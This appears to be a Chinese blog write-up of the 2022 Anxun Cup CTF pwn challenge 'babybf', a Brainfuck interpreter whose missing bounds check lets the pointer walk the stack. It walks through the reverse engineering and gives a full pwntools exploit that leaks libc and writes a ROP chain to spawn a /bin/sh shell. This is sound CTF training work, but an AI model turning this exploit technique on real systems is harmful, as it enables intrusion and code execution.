• 2022安洵杯babybf


    babybf

    赛后分析了下,发现是一道很有意思的题目

    Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

    其实本题是一个c语言实现的Brainfuck语言的解释器,就是让我们输入Brainfuck语言去pwn

    分析:

    当然我们一开始啥都不知道,ida打开程序,主要分析这里的数组
    请添加图片描述

    这里把我们输入的code当作数组的下标进去转换

    我们看这个数组是啥东西
    请添加图片描述

    我们要转换到这些00~08的值的话就要送一些特定的字符

    其实这里相当于对应选项v4[0~8],去执行一些命令

    请添加图片描述

    我们计算一下地址可以得到对应的字符

    例:0:(0x2110-0x2020)/4=0x3c=“<”

    总结可得:

    0:\x3c -->"<"
    1:\x3e -->">"
    2:\x2b -->"+"
    3:\x2d -->"-"
    4:\x2e -->"."
    5:\x2c -->","
    6:\x5b -->"["
    7:\x5d -->"]"
    8:\x00
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这其实就是Brainfuck语言的字符标识

    Brainfuck程序可以用下面的替换方法翻译成C语言(这题ptr是在栈上):

    BrainfuckC
    >++ptr;
    <–ptr;
    +++*ptr;
    -–*ptr;
    .putchar(*ptr);
    ,*ptr =getch();
    [while (*ptr) {
    ]}

    利用:

    这题漏洞在数组越界,没对下标做检查

    我们通过调试可得初始位置ptr在0x7fffe0c1eb60

    请添加图片描述

    在栈上的固定偏移如下

    请添加图片描述

    接下来就好做了,(偏移0x20)泄露libc,(偏移0x38)写rop到ret处执行system(“/bin/sh”)

    Exp:

    from pwn import * 
    local_file  = './chall'
    local_libc  = './libc-2.27.so'
    remote_libc = './libc-2.27.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    #-----------------------------
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    def cmd(content):
        sla("len> ",str(len(content)))
        sea("code> ",content)
    #------------------------
    #debug()
    cmd(">"*0x20+".>.>.>.>.>.")
    libc_base=uu64(ru("\x7f")[-6:])-0x401B40
    info("libc_base",libc_base)
    pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
    system=libc_base+libc.sym['system']
    binsh=libc_base+libc.search("/bin/sh").next()
    ret = libc_base + next(libc.search(asm('ret')))
    
    payload=flat(ret,pop_rdi,binsh,system)
    print(len(payload))
    cmd(">"*0x38+",>"*(len(payload)-1)+',')
    r.send(payload)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
  • 相关阅读:
    [附源码]计算机毕业设计学习互助辅助系统Springboot程序
    什么是【固件】?
    windows文本绘制 TextOut、DrawText、CreateFont、SetTextColor、SetBkColor、SetBkMode
    基于 Hugging Face Datasets 和 Transformers 的图像相似性搜索
    05-networkX-结构洞计算
    P9232 [蓝桥杯 2023 省 A] 更小的数(区间DP)
    1.9、习题2-时延相关习题
    Eureka服务注册与发现
    css:如何通过不同的值,改变盒子的样式和字体颜色通过computed而不是v-if
    Qt 简介
  • 原文地址:https://blog.csdn.net/m0_51251108/article/details/128118624